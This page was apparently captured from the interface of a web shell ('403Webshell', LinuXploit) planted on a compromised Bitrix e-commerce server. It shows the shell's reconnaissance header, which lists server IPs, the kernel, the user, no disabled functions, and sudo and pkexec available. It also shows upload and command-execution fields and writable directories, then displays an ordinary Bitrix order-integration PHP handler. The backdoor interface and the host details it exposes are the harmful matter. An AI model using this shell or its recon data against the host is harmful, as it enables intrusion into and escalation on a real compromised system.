403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/exchange/integration/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/exchange/integration/handler.php
<?php
namespace Bitrix\Sale\Exchange\Integration;


use Bitrix\Main\Event;
use Bitrix\Sale\Internals\OrderTable;
use Bitrix\Sale\Order;
use Bitrix\Sale\Exchange\Integration;

final class Handler
{
	static public function handlerCallbackOnSaleOrderSaved(Event $event)
	{
		/** @var Order $order */
		$order = $event->getParameters()['ENTITY'];

		if((new Integration\Connector\Manager())->isOn())
		{
			if($order->isNew())
			{
				$fields = new \Bitrix\Sale\Internals\Fields(
					\Bitrix\Main\Context::getCurrent()
						->getRequest()
						->toArray());

				$placement = new Integration\CRM\Placement\PlacementDeal($fields->getValues());
				if($placement->getTypeHandler() == Integration\HandlerType::ORDER_NEW)	//deal exists + new order
				{

					if($fields->get('entityTypeId') == Integration\CRM\EntityType::DEAL
						&& $fields->get('entityId')>0)
					{
						$params[$order->getId()] = [
							'OWNER_TYPE_ID'=>Integration\CRM\EntityType::DEAL,
							'OWNER_ID'=>$fields->get('entityId')
						];

						(new Integration\Service\Scenarios\DealUpdate())
							->update($fields->get('entityId'), $params);

						(new static())
							->syncB24($order);
					}
				}
				else	//new deal + new order
				{
					/*
					(new Integration\Service\Scenarios\DealAdd())
						->adds([$order->getId()=>$order->getFieldValues()]);

					(new static())
						->syncB24($order);
					*/
				}
			}
		}

	}
	static public function syncB24(Order $order)
	{
		$order->setFieldNoDemand('IS_SYNC_B24', 'Y');

		OrderTable::update($order->getId(), ['IS_SYNC_B24' => 'Y']);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit